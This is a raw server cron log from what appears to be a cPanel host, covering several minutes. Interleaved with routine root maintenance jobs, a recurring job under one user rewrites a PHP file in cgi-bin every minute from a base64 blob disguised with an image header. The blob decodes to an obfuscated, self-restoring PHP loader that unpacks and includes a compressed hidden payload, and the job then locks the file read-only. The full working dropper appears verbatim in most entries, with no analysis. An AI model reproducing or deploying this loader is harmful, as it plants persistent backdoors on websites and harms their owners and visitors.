Nov 10 14:48:01 server CROND[29604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:49:01 server CROND[30420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:50:01 server CROND[31304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:50:01 server CROND[31307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:50:01 server CROND[31308]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 14:50:01 server CROND[31346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:50:01 server CROND[31326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:51:01 server CROND[32301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:52:01 server CROND[663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:53:01 server CROND[1570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:54:01 server CROND[2396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:55:01 server CROND[3233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:55:01 server CROND[3234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:55:01 server CROND[3235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:56:01 server CROND[4026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:57:01 server CROND[4840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:57:01 server CROND[4841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:58:01 server CROND[5761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:59:01 server CROND[6566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 15:00:01 server CROND[7392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 15:00:01 server CROND[7395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 15:00:01 server CROND[7394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 15:00:01 server CROND[7393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
